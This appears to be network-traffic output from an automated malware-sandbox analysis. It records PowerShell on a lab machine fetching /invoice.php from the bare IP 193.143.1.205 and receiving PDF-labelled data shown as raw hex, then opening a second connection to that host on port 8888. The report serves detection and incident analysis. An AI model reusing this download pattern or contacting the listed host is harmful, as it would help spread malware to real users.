Jan 11, 2025 08:50:43.950242996 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950254917 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950258970 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950268984 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950284004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950288057 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950314999 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950989962 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951004982 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951019049 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951034069 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951035976 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.951047897 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951062918 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951065063 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.951075077 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.951095104 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.963768959 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.963800907 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.963876963 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.963886023 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.963906050 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.963917971 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964010954 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964026928 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964035034 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964045048 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964061975 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964159012 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964171886 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964201927 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964226007 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964240074 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964255095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964271069 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964415073 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964430094 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964443922 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964447975 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964466095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964474916 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964479923 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964494944 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964509010 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964833021 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964848995 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964863062 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964871883 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964876890 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964890957 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.964899063 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.964926004 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.989001036 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989075899 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989089966 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989109993 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.989268064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989281893 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989295959 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989300013 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.989310980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.989329100 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.004019976 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004035950 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004050970 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004054070 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.004082918 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.004149914 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004163980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004179001 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004193068 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.004194021 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.004220963 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.021261930 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021297932 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021312952 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021330118 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.021502972 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021517038 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021534920 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.021564960 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021594048 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.021677971 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021692038 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021707058 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021720886 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.021723032 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.021750927 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.022011995 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.022032022 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.022046089 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.022058964 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.022061110 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.022089005 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038403034 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038428068 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038443089 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038485050 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038556099 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038570881 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038592100 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038593054 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038614988 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038630009 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038923979 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038938999 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038953066 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038957119 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038968086 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.038983107 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.038983107 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039012909 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.039333105 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039345980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039360046 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039374113 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039376974 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.039387941 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039402008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039416075 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039429903 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039438009 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.039444923 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039458990 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.039464951 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.039499998 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040075064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040096998 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040111065 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040126085 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040127993 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040141106 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040154934 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040155888 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040169954 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040184975 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040184975 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040205002 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040220022 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040222883 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040234089 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040247917 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040260077 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040271044 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040285110 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.040967941 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040982962 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040997982 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.040999889 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041012049 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041028023 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041033983 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041049004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041062117 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041064024 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041076899 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041090965 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041090965 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041105986 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041120052 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041121006 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041134119 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041146994 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.041146994 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.041176081 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042011023 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042026043 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042038918 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042053938 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042057037 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042068005 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042082071 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042083025 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042094946 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042110920 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042114973 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042118073 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042125940 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042133093 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042135954 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042151928 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042152882 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042165995 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042186022 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042206049 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042846918 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042860985 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042876005 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042890072 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042895079 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042903900 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042918921 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.042921066 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.042949915 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.054582119 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054610968 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054624081 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054645061 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.054716110 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054730892 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054747105 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054752111 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.054778099 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.054929972 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054945946 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054959059 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.054985046 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.055159092 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055172920 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055187941 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055193901 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.055202961 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055221081 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.055372953 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055387020 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055402040 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.055408955 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.055444956 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.080801010 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.080826044 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.080841064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.080871105 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.080988884 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.081003904 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.081022024 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.122481108 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.267185926 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.272082090 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272170067 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272206068 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272214890 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.272341013 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272375107 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272384882 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.272413015 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272449970 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.272454023 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.283849955 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.288686991 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288712025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288726091 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288727999 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.288753033 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.288841009 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288856983 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288872004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.288888931 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289021969 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289037943 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289053917 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289062023 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289088011 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289242983 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289258957 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289273977 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289288998 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289294958 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289304972 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289318085 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289324045 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289334059 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289362907 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289803982 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289818048 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289834023 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289840937 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289849043 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289863110 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289864063 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289877892 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289891958 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289891958 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289906025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289921045 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289933920 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289941072 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289948940 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289958954 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289963007 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289975882 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.289984941 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.289989948 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.290005922 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.290021896 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.290044069 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.290529013 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.290544033 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.290560007 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:44.290577888 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.330476999 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.513396978 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.521306992 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:44.725224972 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:45.204067945 CET	49716	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:45.208925009 CET	8888	49716	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:45.209458113 CET	49716	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:45.209661007 CET	49716	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:45.214478016 CET	8888	49716	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:46.007415056 CET	8888	49716	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:46.051482916 CET	49716	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:46.941303015 CET	49716	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:50:53.021523952 CET	61272	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:50:53.021523952 CET	192.168.2.10	1.1.1.1	0xd3f1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:50:53.030075073 CET	1.1.1.1	192.168.2.10	0xd3f1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:50:54.084150076 CET	1.1.1.1	192.168.2.10	0x8849	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:50:54.084150076 CET	1.1.1.1	192.168.2.10	0x8849	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49704	193.143.1.205	80	7776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:50:42.561022997 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:50:43.360989094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:50:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 